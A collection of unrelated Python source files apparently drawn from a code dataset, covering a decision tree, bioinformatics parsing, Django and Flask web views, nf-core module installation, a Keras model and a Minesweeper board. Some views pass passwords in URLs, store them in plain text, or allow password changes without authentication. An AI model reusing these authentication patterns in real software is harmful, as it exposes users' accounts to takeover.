root.child[i], order)\n \n return root\n\n# main function to read the data and call other utility functions\ndef main():\n data = pd.read_csv(\"data1_19.csv\")\n\n root = Node(\"data\")\n\n attributes = list(data.columns.values)\n target = attributes[-1]\n attributes = attributes[:-1]\n\n order = []\n root = tree(data, data, attributes, root, order)\n order = order[:3]\n indent = []\n for i in order:\n indent.append(list(set(data[i])))\n indent.append(list(set(data[target])))\n traverse_tree(root, indent)\n\nif __name__==\"__main__\":\n main()","sub_path":"DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":4616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"322872380","text":"import sys\nimport json\n\nfrom typing import List, Dict, Any\n\n\ndef mutant_to_dict(mutant: List[str], mutant_types: Dict[str, bool]) -> Dict[str, Any]:\n return {\n 'systematic_name': mutant[0].strip(),\n 'strain_descriptor': mutant[1].strip(),\n 'associated_genes': mutant[2].split(' | '),\n 'phenotypes': mutant[3].split(' | '),\n 'mutant_types': mutant_types,\n }\n\n\ndef phenotypes_for_dictyostelium_mutants(\n all_mutants: str,\n null_mutants: str,\n overexpression_mutants: str,\n multiple_mutants: str,\n developmental_mutants: str,\n other_mutants: str,\n):\n\n file_name = 'mutant_phenotypes.json'\n\n with open(null_mutants, 'r') as fp:\n null_mutants = set([line.strip().split('\\t')[0] for line in fp])\n\n with open(overexpression_mutants, 'r') as fp:\n overexpression_mutants = set([line.strip().split('\\t')[0] for line in fp])\n\n with open(multiple_mutants, 'r') as fp:\n multiple_mutants = set([line.strip().split('\\t')[0] for line in fp])\n\n with open(developmental_mutants, 'r') as fp:\n developmental_mutants = set([line.strip().split('\\t')[0] for line in fp])\n\n with open(other_mutants, 'r') as fp:\n other_mutants = set([line.strip().split('\\t')[0] for line in fp])\n\n with open(all_mutants, 'r') as fp:\n # skip header\n fp.readline()\n\n all_mutants = []\n for line in fp.readlines():\n mutant = line.strip().split('\\t')\n\n if len(mutant) == 4:\n mutant_id = mutant[0]\n\n types = {\n 'null': mutant_id in null_mutants,\n 'overexpression': mutant_id in overexpression_mutants,\n 'multiple ': mutant_id in multiple_mutants,\n 'other': mutant_id in other_mutants,\n 'developmental': mutant_id in developmental_mutants,\n }\n\n all_mutants.append(mutant_to_dict(mutant, types))\n\n with open(f'data/dictybase/{file_name}', 'w', encoding='utf-8') as fp:\n json.dump(all_mutants, fp, ensure_ascii=False, indent=4)\n\n\nif __name__ == \"__main__\":\n phenotypes_for_dictyostelium_mutants(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6])\n","sub_path":"update_scripts/dictybase.py","file_name":"dictybase.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"246181369","text":"import os\nimport uuid\nfrom setuptools import setup, find_packages\nfrom pip.req import parse_requirements\n\n# parse_requirements() returns generator of pip.req.InstallRequirement objects\nif os.path.exists(\"requirements.txt\"):\n install_reqs = parse_requirements(\"requirements.txt\", session=uuid.uuid1())\nelse:\n install_reqs = parse_requirements(\n \"Flask_Captcha.egg-info/requires.txt\", session=uuid.uuid1())\n\n# reqs is a list of requirement\n# e.g. ['django==1.5.1', 'mezzanine==1.4.6']\nreqs = [str(ir.req) for ir in install_reqs]\n\nsetup(\n name='Flask-Captcha',\n version=\"0.1.8\",\n description='A very simple, yet powerful, Flask captcha extension',\n author='Eduardo Robles Elvira',\n author_email='edulix@wadobo.com',\n url='https://github.com/agoraciudadana/flask-captcha',\n license='MIT',\n packages=find_packages(),\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.3',\n 'Topic :: Security',\n ],\n include_package_data=True,\n zip_safe=False,\n install_requires=reqs\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"282987432","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 10 17:22:43 2017\n\n@author: kamran\n\"\"\"\n\nx = 25\nepsilon = 0.01\nstep = epsilon*2 #?\nprint('Step is:', step)\nnumGuesses = 0\nans = 0.0\nwhile (abs(ans**2 - x) >= epsilon and ans <= x):\n ans += step\n numGuesses += 1\nif abs(ans**2 - x) >= epsilon:\n print('Failed on square root of', x)\nelse:\n print(ans, 'is closed to square root of', x)\n \nprint(numGuesses)","sub_path":"mit-python/week2/square_root_approximation.py","file_name":"square_root_approximation.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"422087886","text":"from rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nfrom externalMethodes import loginIDGenerator\nfrom login_app.models import Login\nfrom login_app.serializers import LoginSerializer,SignUpSerializer,acDeatailsSerializer,walletDeatailsSerializer\n\n@api_view(['GET'])\ndef login_list(request,user_Name,password):\n \"\"\"\n To check weather the input usrname and password is currect or not\n \"\"\"\n newstr = user_Name.replace(\"/\", \"\")\n if request.method == 'GET':\n if Login.objects.filter(user_Name=newstr,password=password).exists():\n\n try:\n login = Login.objects.filter(user_Name=newstr,password=password)\n #get(user_Name=newstr)\n\n serializer = LoginSerializer(login,many=True)\n return Response(serializer.data)\n\n #Task.objects.get(title=title)\n except Login.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n else:\n return Response(data={\"Invalid User\"})\n\n else:\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n@api_view(['POST'])\ndef checkValidation(request):\n if request.method=='POST':\n usr=request.data.get('user_Name')\n mob=request.data.get('mob_num')\n if Login.objects.filter(user_Name=usr).exists():\n return Response(data={\"details\":\"Already Existing UserName\"},status=status.HTTP_306_RESERVED)\n elif Login.objects.filter(mob_num=mob).exists():\n return Response(data={\"details\":\"Already Existing Mobile Number\"},status=status.HTTP_306_RESERVED)\n else:\n return Response(data={\"details\":\"Your Account Is Available\"})\n else:\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n\n@api_view(['POST','GET','PUT'])\ndef createAccount(request):\n \"\"\"\n To crate the Account Details of Qpay\n \"\"\"\n if request.method == 'POST':\n '''\n usr=request.data.get('user_Name')\n mob=request.data.get('mob_num')\n if Login.objects.filter(user_Name=usr).exists():\n return Response(data={\"deatailS\":\"Already Existing UserName\"},status=status.HTTP_306_RESERVED)\n elif Login.objects.filter(mob_num=mob).exists():\n return Response(data={\"deatails\":\"Already Existing Mobile Number\"},status=status.HTTP_306_RESERVED)\n '''\n serializer = SignUpSerializer(data=request.data)\n if serializer.is_valid():\n newLoginId=loginIDGenerator(serializer)\n serializer.save(login_id=newLoginId)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n elif request.method == 'PUT':\n usr=request.data.get('user_Name')\n mob=request.data.get('mob_num')\n if Login.objects.filter(user_Name=usr).exists():\n return Response(data={\"details\":\"Already Existing UserName\"},status=status.HTTP_306_RESERVED)\n elif Login.objects.filter(mob_num=mob).exists():\n return Response(data={\"details\":\"Already Existing Mobile Number\"},status=status.HTTP_306_RESERVED)\n else:\n return Response(data={\"details\":\"Your Account Is Available\"})\n\n\n elif request.method=='GET':\n acDeatails=Login.objects.all()\n serializer = acDeatailsSerializer(acDeatails,many=True)\n return Response(serializer.data)\n else:\n return Response(data={\"Not Allowed\"})\n\n@api_view(['GET'])\ndef accountInfo(request,pk):\n if request.method=='GET':\n acInfo=Login.objects.get(login_id=pk)\n serializer = acDeatailsSerializer(acInfo)\n return Response(serializer.data)\n else:\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n@api_view(['GET'])\ndef walletInfo(request,pk):\n if request.method=='GET':\n wallInfo=Login.objects.get(login_id=pk)\n serializer = walletDeatailsSerializer(wallInfo)\n return Response(serializer.data)\n else:\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n@api_view(['POST'])\ndef changePWD(request,pk):\n if request.method=='POST':\n change_PWD=Login.objects.get(login_id=pk)\n change_PWD.password=request.data.get('newPWD')\n change_PWD.save()\n return Response(data={\"details\":\"Success !\"},status=status.HTTP_200_OK)\n else:\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n\n\n","sub_path":"wsgi/myproject/login_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638582693","text":"import sys\nfrom distutils.core import setup\npython_version = sys.version_info[:2]\n\nif python_version < (2, 7):\n raise Exception(\"This version of xlrd requires Python 2.7 or above. \")\n\n\nsetup(name='amiconn',\n author='John Machin',\n version='0.50',\n py_modules=['amiconn'],\n )\n","sub_path":"Amiconn/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"646469773","text":"import os\nimport questionary\nimport logging\n\nimport nf_core.utils\n\nfrom .modules_command import ModuleCommand\nfrom .module_utils import get_installed_modules, get_module_git_log, module_exist_in_repo\nfrom .modules_repo import ModulesRepo\n\nlog = logging.getLogger(__name__)\n\n\nclass ModuleInstall(ModuleCommand):\n def __init__(self, pipeline_dir, force=False, latest=False, sha=None, update_all=False):\n super().__init__(pipeline_dir)\n self.force = force\n self.latest = latest\n self.sha = sha\n self.update_all = update_all\n\n def install(self, module):\n if self.repo_type == \"modules\":\n log.error(\"You cannot install a module in a clone of nf-core/modules\")\n return False\n # Check whether pipelines is valid\n self.has_valid_directory()\n if not self.update_all:\n # Get the available modules\n try:\n self.modules_repo.get_modules_file_tree()\n except LookupError as e:\n log.error(e)\n return False\n\n if self.latest and self.sha is not None:\n log.error(\"Cannot use '--sha' and '--latest' at the same time!\")\n return False\n\n if module is None:\n module = questionary.autocomplete(\n \"Tool name:\",\n choices=self.modules_repo.modules_avail_module_names,\n style=nf_core.utils.nfcore_question_style,\n ).unsafe_ask()\n\n # Check that the supplied name is an available module\n if module and module not in self.modules_repo.modules_avail_module_names:\n log.error(\"Module '{}' not found in list of available modules.\".format(module))\n log.info(\"Use the command 'nf-core modules list' to view available software\")\n return False\n repos_and_modules = [(self.modules_repo, module)]\n else:\n if module:\n raise UserWarning(\"You cannot specify a module and use the '--all' flag at the same time\")\n self.force = True\n\n self.get_pipeline_modules()\n repos_and_modules = [\n (ModulesRepo(repo=repo_name), modules) for repo_name, modules in self.module_names.items()\n ]\n # Load the modules file trees\n for repo, _ in repos_and_modules:\n repo.get_modules_file_tree()\n repos_and_modules = [(repo, module) for repo, modules in repos_and_modules for module in modules]\n\n # Load 'modules.json'\n modules_json = self.load_modules_json()\n if not modules_json:\n return False\n\n exit_value = True\n for modules_repo, module in repos_and_modules:\n if not module_exist_in_repo(module, modules_repo):\n warn_msg = f\"Module '{module}' not found in remote '{modules_repo.name}' ({modules_repo.branch})\"\n if self.update_all:\n warn_msg += \". Skipping...\"\n log.warning(warn_msg)\n exit_value = False\n continue\n\n if modules_repo.name in modules_json[\"repos\"]:\n current_entry = modules_json[\"repos\"][modules_repo.name].get(module)\n else:\n current_entry = None\n\n # Set the install folder based on the repository name\n install_folder = [modules_repo.owner, modules_repo.repo]\n\n # Compute the module directory\n module_dir = os.path.join(self.dir, \"modules\", *install_folder, module)\n\n if current_entry is not None and self.sha is None:\n # Fetch the latest commit for the module\n current_version = current_entry[\"git_sha\"]\n try:\n git_log = get_module_git_log(module, modules_repo=modules_repo, per_page=1, page_nbr=1)\n except LookupError as e:\n log.error(e)\n exit_value = False\n continue\n except UserWarning:\n log.error(f\"Was unable to fetch version of '{modules_repo.name}/{module}'\")\n exit_value = False\n continue\n latest_version = git_log[0][\"git_sha\"]\n if current_version == latest_version and (not self.force or self.latest or self.update_all):\n log.info(f\"'{modules_repo.name}/{module}' is already up to date\")\n continue\n elif not self.force:\n log.error(\"Found newer version of module.\")\n self.latest = self.force = questionary.confirm(\n \"Do you want to install it? (--force --latest)\", default=False\n ).unsafe_ask()\n if not self.latest:\n exit_value = False\n continue\n else:\n latest_version = None\n\n # Check that we don't already have a folder for this module\n if not self.check_module_files_installed(module, module_dir):\n exit_value = False\n continue\n\n if self.sha:\n if current_entry is not None:\n if self.force:\n if current_entry[\"git_sha\"] == self.sha:\n log.info(f\"Module {modules_repo.name}/{module} already installed at {self.sha}\")\n continue\n else:\n exit_value = False\n continue\n\n if self.force:\n log.info(f\"Removing old version of module '{module}'\")\n self.clear_module_dir(module, module_dir)\n\n if self.download_module_file(module, self.sha, modules_repo, install_folder, module_dir):\n self.update_modules_json(modules_json, modules_repo.name, module, self.sha)\n else:\n exit_value = False\n continue\n else:\n if self.latest or self.update_all:\n # Fetch the latest commit for the module\n if latest_version is None:\n try:\n git_log = get_module_git_log(module, modules_repo=modules_repo, per_page=1, page_nbr=1)\n except UserWarning:\n log.error(f\"Was unable to fetch version of module '{module}'\")\n exit_value = False\n continue\n latest_version = git_log[0][\"git_sha\"]\n version = latest_version\n else:\n try:\n version = self.prompt_module_version_sha(\n module,\n installed_sha=current_entry[\"git_sha\"] if not current_entry is None else None,\n modules_repo=modules_repo,\n )\n except SystemError as e:\n log.error(e)\n exit_value = False\n continue\n log.info(f\"Installing {module}\")\n log.debug(\n f\"Installing module '{module}' at modules hash {modules_repo.modules_current_hash} from {self.modules_repo.name}\"\n )\n\n if self.force:\n log.info(f\"Removing old version of module '{module}'\")\n self.clear_module_dir(module, module_dir)\n\n # Download module files\n if not self.download_module_file(module, version, modules_repo, install_folder, module_dir):\n exit_value = False\n continue\n\n # Update module.json with newly installed module\n self.update_modules_json(modules_json, modules_repo.name, module, version)\n return exit_value\n\n def check_module_files_installed(self, module_name, module_dir):\n \"\"\"Checks if a module is already installed\"\"\"\n if os.path.exists(module_dir):\n if not self.force:\n log.error(f\"Module directory '{module_dir}' already exists.\")\n self.force = questionary.confirm(\n \"Do you want to overwrite local files? (--force)\", default=False\n ).unsafe_ask()\n return self.force\n else:\n return True\n\n def prompt_module_version_sha(self, module, installed_sha=None, modules_repo=None):\n if modules_repo is None:\n modules_repo = self.modules_repo\n older_commits_choice = questionary.Choice(\n title=[(\"fg:ansiyellow\", \"older commits\"), (\"class:choice-default\", \"\")], value=\"\"\n )\n git_sha = \"\"\n page_nbr = 1\n try:\n next_page_commits = get_module_git_log(module, modules_repo=modules_repo, per_page=10, page_nbr=page_nbr)\n except UserWarning:\n next_page_commits = None\n except LookupError as e:\n log.warning(e)\n next_page_commits = None\n\n while git_sha is \"\":\n commits = next_page_commits\n try:\n next_page_commits = get_module_git_log(\n module, modules_repo=modules_repo, per_page=10, page_nbr=page_nbr + 1\n )\n except UserWarning:\n next_page_commits = None\n except LookupError as e:\n log.warning(e)\n next_page_commits = None\n\n choices = []\n for title, sha in map(lambda commit: (commit[\"trunc_message\"], commit[\"git_sha\"]), commits):\n\n display_color = \"fg:ansiblue\" if sha != installed_sha else \"fg:ansired\"\n message = f\"{title} {sha}\"\n if installed_sha == sha:\n message += \" (installed version)\"\n commit_display = [(display_color, message), (\"class:choice-default\", \"\")]\n choices.append(questionary.Choice(title=commit_display, value=sha))\n if next_page_commits is not None:\n choices += [older_commits_choice]\n git_sha = questionary.select(\n f\"Select '{module}' version:\", choices=choices, style=nf_core.utils.nfcore_question_style\n ).unsafe_ask()\n page_nbr += 1\n return git_sha\n","sub_path":"nf_core/modules/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":10410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"649586199","text":"# Copyright (c) 2014 Mirantis Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the License);\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an AS IS BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and#\n# limitations under the License.\nfrom SnapshotState import SnapshotState\nfrom Snapshot import Snapshot\n__author__ = 'mirrorcoder'\n\n\nclass SnapshotInstances(SnapshotState):\n def create_snapshot(self):\n snapshot = Snapshot()\n [snapshot.addInstance(id=instance.id,\n status=instance.status,\n name=instance.name)\n for instance in self.nova_client.servers.list()]\n return snapshot\n","sub_path":"migrationlib/os/utils/snapshot/SnapshotInstances.py","file_name":"SnapshotInstances.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586378094","text":"from time import sleep\n\nfrom tests.virusmusic.player.default import Test\nfrom pages.virusmusic.main_page import MainPage\n\n\nclass TestWrapPlayer(Test):\n def test(self):\n page = MainPage(self.driver)\n page.open()\n track_id = page.get_first_track_id()\n page.play(track_id)\n # time for player to move\n sleep(1)\n player_pos_before = page.get_player_pos()\n page.wrap_player()\n player_pos_after = page.get_player_pos()\n\n self.assertNotEqual(player_pos_after, player_pos_before)\n","sub_path":"tests/virusmusic/player/player_wrap_test.py","file_name":"player_wrap_test.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207017520","text":"from flask import Flask\r\nfrom flask import render_template, request\r\n# import the function\r\nfrom dict import translate2\r\n# import the dictionary\r\nfrom dict import hira\r\napp = Flask(__name__)\r\nnotes = []\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template(\"index.html\")\r\n\r\n@app.route('/table')\r\ndef table():\r\n return render_template(\"table.html\")\r\n\r\n@app.route('/lookup', methods=[\"POST\", \"GET\"])\r\ndef lookup():\r\n input = request.form.get('input')\r\n try:\r\n output = translate2(input, hira)\r\n notes.append(output)\r\n except:\r\n output = 'please enter'\r\n return render_template(\"look_up.html\", output=output, notes=notes)\r\n\r\n@app.route('/signup', methods=[\"GET\",'POST'])\r\ndef signup():\r\n new_id = request.form.get('new_id')\r\n new_pw = request.form.get('new_pw')\r\n confirm_pw = request.form.get('confirm_pw')\r\n\r\n message = ''\r\n\r\n accounts = open('accounts.txt', 'r')\r\n\r\n\r\n info_submitted = False\r\n if new_id and new_pw and confirm_pw:\r\n info_submitted = True\r\n\r\n acc_created = False\r\n\r\n acc = {}\r\n if info_submitted:\r\n if confirm_pw == new_pw:\r\n acc.update({str(new_id) : str(new_pw)})\r\n message = 'account created!'\r\n accounts = open('accounts.txt', 'w')\r\n accounts.write(str(acc))\r\n accounts.close()\r\n elif confirm_pw != new_pw:\r\n message = 'passwords do not match, please try again.'\r\n return render_template('signup.html', info_submitted=info_submitted, message=message)\r\n\r\n","sub_path":"Japanese learning tool/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"144998497","text":"from os import listdir\nfrom os.path import isfile, join\n\nfolder = \"./mflops_msize_danny\"\nout_folder = \"./parallel/size/\"\nout_map = [100, 500, 1000, 15000, 20000]\nfor f in listdir(folder):\n if isfile(join(folder, f)):\n thread_count = f[:1]\n alg = f.split(\".\")[0][-1:]\n if alg != \"6\":\n continue\n with open(join(folder, f)) as file:\n lines = file.readlines()\n for index, line in enumerate(lines):\n time = line.rstrip(\"\\n\")\n with open(join(out_folder, f\"{thread_count}.txt\"), \"a+\") as write_file:\n write_file.write(f\"{time} {out_map[index]}\\n\")\n","sub_path":"w2/assignment_final/visualization/vis_prep.py","file_name":"vis_prep.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"388292157","text":"\nfrom re import M\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, SimpleRNN, Dropout, LSTM, GRU, Input\nimport numpy as np \n\nfrom sklearn.datasets import load_boston\ndatasets = load_boston()\n\n#1.data\nx = datasets.data\ny = datasets.target\n'''\n\n'''\nprint(np.max(x))\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x,y,\ntrain_size = 0.95, random_state=66)\n\nx_train = x_train.reshape(480,13,1) #\nx_test = x_test.reshape(26, 13, 1)\n\n'''\n\n'''\n\n\n\n\nmodel = Sequential()\nmodel.add(LSTM(16,activation = 'relu',input_shape=(13,1)))\nmodel.add(Dense(32,activation='relu'))\nmodel.add(Dense(16,activation='relu'))\nmodel.add(Dense(8,activation='relu'))\nmodel.add(Dense(4,activation='relu'))\nmodel.add(Dense(2,activation='relu'))\nmodel.add(Dense(1 ,activation='relu'))\n\nfrom tensorflow.keras.callbacks import EarlyStopping\nes = EarlyStopping(monitor='val_loss', patience=30, mode='min', verbose=3)\nimport time\nstarttime = time.time()\nmodel.compile(loss = 'mse', optimizer = 'adam')\nhist = model.fit(x_train, y_train, epochs=1000, batch_size=64, validation_split=0.003, verbose=2,callbacks=[es]) \nloss = model.evaluate(x_test, y_test,batch_size=64) \nend = time.time()- starttime\n\nprint(\"걸린시간\", end)\nprint('loss : ', loss)\ny_pred = model.predict(x_test) \n\n# y_pred = scaler.transform(y_pred)\nfrom sklearn.metrics import r2_score\nr2 = r2_score(y_test, y_pred)\nprint(\"r2score \", r2)\n\n'''\n걸린시간 21.428115844726562\nloss : 20.355998992919922\nr2score 0.8421284246602054\n'''","sub_path":"keras/keras42_boston_lstm.py","file_name":"keras42_boston_lstm.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225184664","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport web, json\nfrom StringIO import StringIO\nfrom youtupi.modules.local import module_local\nfrom youtupi.modules.youtube import module_youtube\nfrom youtupi.playlist import prepareVideo, findVideoInPlaylist, removeVideo, playNextVideo, playVideo, addVideo, controlPlayer, playList\n\nclass redirect:\n\tdef GET(self, path):\n\t\tweb.seeother('/' + path)\n\nclass index:\n\tdef GET(self):\n\t\tweb.seeother('/static/index.html')\n\nclass playlist:\n\tdef GET(self):\n\t\tplaylistVideos = list()\n\t\tfor video in playList():\n\t\t\tplaylistVideos.append(video.data)\n\t\treturn json.dumps(playlistVideos, indent=4)\n\t\n\tdef POST(self):\n\t\tdata = json.load(StringIO(web.data()))\n\t\taddVideo(data)\n\t\tweb.seeother('/playlist')\n\t\t\n\tdef DELETE(self):\n\t\tdata = json.load(StringIO(web.data()))\n\t\tremoveVideo(data['id'])\n\t\tweb.seeother('/playlist')\n\nclass control:\n\t\n\tdef GET(self, action):\n\t\tif action == \"play\":\n\t\t\tplayNextVideo()\n\t\telse:\t\t\t\n\t\t\tcontrolPlayer(action)\n\t\tweb.seeother('/playlist')\n\t\t\n\tdef POST(self, action):\n\t\tif action == \"play\":\n\t\t\tdata = json.load(StringIO(web.data()))\n\t\t\tvideo = findVideoInPlaylist(data['id'])\n\t\t\tif video:\n\t\t\t\tprepareVideo(video)\n\t\t\t\tplayVideo(data['id'])\n\t\tweb.seeother('/playlist')\n\nif __name__ == \"__main__\":\n\turls = (\n\t\t'/(.*)/', 'redirect',\n\t\t'/playlist', 'playlist',\n\t\t'/video/(.*)', 'video',\n\t\t'/control/(.*)', 'control',\n\t\t'/local', module_local,\n\t\t'/youtube', module_youtube,\n\t\t'/', 'index'\n\t)\n\tapp = web.application(urls, globals())\n\tapp.run()\n","sub_path":"youtupi.py","file_name":"youtupi.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"109044156","text":"# MSBoard class\n# Luis Henriquez and Iavor Dekov\n#\n\nfrom Tile import Tile\nfrom random import sample\nimport pygame, sys\nfrom pygame.locals import *\n\n\n\"\"\"\nRepresents the board that contains all the \ntiles in the Minesweeper game\n\"\"\"\n\nclass MSBoard:\n \"\"\"Represents the board that holds all the tile in Minesweeper.\n Has a location, columns and rows, and the the tilewidth.\"\"\"\n def __init__(self, leftTop, dimensions, tilewidth, numBombs):\n self.leftTop = leftTop\n self.twidth = tilewidth\n self.width = dimensions[0]\n self.height = dimensions[1]\n self.numbombs = numBombs\n self.board = self.createBoard()\n self.setBombs()\n\n\n def getTilesAround(self, atile):\n \"\"\"Returns a list of the tiles around a certain tile.\"\"\"\n return [tile for tile in self.around(atile)]\n\n def getTileAtIndex(self, row, col):\n \"\"\"\n Accepts the row and column of the board and returns the tile there.\n Returns an None if there is an IndexError.\n :param row:\n :param col:\n :return:\n \"\"\"\n try:\n if (row > -1) and (col > -1):\n return self.board[row][col]\n except IndexError:\n return None\n\n def around(self, tile):\n \"\"\"\n Yields a stream of tiles around a specific tile.\n :param tile:\n :return:\n \"\"\"\n left, top = tile.getLeftTop()\n\n for x in [1, 0, -1]:\n for y in [1, 0, -1]:\n atile = self.getTileAtIndex(top + y, left + x)\n if atile and atile is not tile:\n yield atile\n\n\n def tiles(self):\n \"\"\"Stream of all the tiles of the board.\"\"\"\n for lst in self.board:\n for tile in lst:\n yield tile\n\n def createBoard(self):\n \"\"\"\n Returns 2D list of the board.\n :return:\n \"\"\"\n startrow, startcol = self.leftTop\n twidth = self.twidth\n return [[Tile((startcol + col * twidth, startrow + row * twidth), twidth) for col in range(self.width)]\n for row in range(self.height)]\n\n def setBombs(self):\n for tile in sample(list(self.tiles()), self.numbombs):\n tile.setBomb()\n\n def highlight(self, tile, surface):\n tile.highlight(surface)\n\n\n def revealAround(self, tile):\n \"\"\"\n Reveals the tiles around the tile.\n :param tile:\n :return:\n \"\"\"\n if not tile.hasBomb() and not tile.hasNum():\n blanktiles = []\n for tile in self.getTilesAround(tile):\n if not tile.hasBomb():\n tile.reveal()\n if not tile.hasNum():\n blanktiles.append(tile)\n for tile in blanktiles:\n self.revealAround(tile)\n\n def revealAnimation(self, tile):\n \"\"\"\n Reveals a tile and the tiles around that tile.\n :param tile:\n :return:\n \"\"\"\n tile.reveal()\n self.revealAround(tile)\n\n def getTileAtPixel(self, pixelpoint):\n \"\"\"\n Returns the tile at the specific pixel location.\n :param pixelpoint:\n :return:\n \"\"\"\n if pixelpoint != (None, None):\n for tile in self.tiles():\n if tile.contains(pixelpoint):\n return tile\n return None\n\n def allRevealed(self):\n \"\"\"\n Returns whether all the tiles of the board are revealed or not.\n :return:\n \"\"\"\n for tile in self.tiles():\n if not tile.isRevealed():\n return False\n return True\n\n def draw(self, surface):\n \"\"\"\n Draws the board.\n :param surface:\n :return:\n \"\"\"\n for tile in self.tiles():\n tile.draw(surface)\n\n# main method for unit test\ndef main():\n DISPLAYSURF = pygame.display.set_mode((400, 300))\n DISPLAYSURF.fill((255, 255, 255))\n m = MSBoard((10, 10), (4, 6), 20, 4)\n # print(m.tiles())\n # print(m.board)\n # print(m.getTileAtPixel((22, 22)).getLeftTop())\n # print(m.allRevealed())\n # print(m.getTileAtPixel((0, 0)))\n # for tile in m.getTilesAround(m.getTileAtPixel((0, 0))):\n # print(tile.getLeftTop())\n # for tile in m.tiles():\n # print(tile.hasBomb())\n\n m.draw(DISPLAYSURF)\n\n while True:\n\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n pygame.display.update()\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"MSBoard.py","file_name":"MSBoard.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"289477021","text":"# Python_project\nimport logging\nimport datetime\nfrom post import Post\nimport hashlib\nimport os\nfrom hash1 import HASH\n\n\n# her we define class User to do all the things asked in project\nclass User():\n # to track the number of users\n track = 0\n\n def __init__(self):\n User.track += 1\n logging.basicConfig(filename='app.log', filemode='w', format='%(levelname)s - %(asctime)s - %(message)s',\n level=logging.INFO)\n logging.info('creating new user!')\n self.user_name = ''\n self.pass_word = ''\n self.email = ''\n self.phone = ''\n self.bio = ''\n self.login_status = False\n self.acceptance = False\n self.following_list = []\n self.followers_list = []\n self.post_list = []\n\n def get_Info(self):\n logging.basicConfig(filename='app.log', filemode='w', format='%(levelname)s - %(asctime)s - %(message)s',\n level=logging.INFO)\n logging.info(\"getting information from user!\")\n self.user_name = input(\"Enter your desired username:\\n \")\n with open(\"username.txt\") as file_object1:\n for i, line in enumerate(file_object1):\n while str(line) == self.user_name + \"\\n\":\n self.user_name = input(\"please Enter another valid username,that was repeated:\\n \")\n while len(self.pass_word) < 8:\n self.pass_word = input(\"Enter your desired password(It should be at least 8 letters):\\n\")\n self.bio = input(\"You can add bio to your profile: \\n\")\n self.phone = input(\"You can add phone number to your profile: \\n\")\n while len(self.phone) < 7:\n self.phone = input(\"please enter the correct phone number: \\n\")\n self.email = input(\"You can add email to your profile: \\n\")\n # here we save personal detail in txt files\n while '@' not in self.email:\n self.email = input(\"please add valid email to your profile:\\n \")\n with open(\"username.txt\", \"a+\") as file_object1:\n # Move read cursor to the start of file.\n file_object1.seek(0)\n # If file is not empty then append '\\n'\n data = file_object1.read(100)\n if len(data) > 0:\n file_object1.write(\"\\n\")\n # Append text at the end of 